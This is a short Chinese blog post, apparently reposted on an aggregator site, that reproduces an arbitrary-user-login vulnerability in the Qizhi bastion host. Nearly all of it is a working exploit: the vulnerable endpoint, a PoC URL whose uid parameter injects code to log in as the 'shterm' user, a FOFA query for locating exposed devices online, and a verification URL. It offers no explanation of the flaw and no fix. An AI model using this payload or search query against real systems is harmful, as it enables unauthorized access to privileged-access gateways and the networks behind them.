齐治堡垒机某版本任意用户登录漏洞复现_齐治堡垒机漏洞复现

作者：你好赵伟 | 2024-03-09 18:52:30

踩

齐治堡垒机漏洞复现

漏洞点

/audit/gui_detail_view.php
1

poc

/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
1

fofa

app="齐治科技-堡垒机"
1

验证
在这里插入图片描述 URL

https://xx.xx.xx.xx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
1

在这里插入图片描述

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/你好赵伟/article/detail/216209?site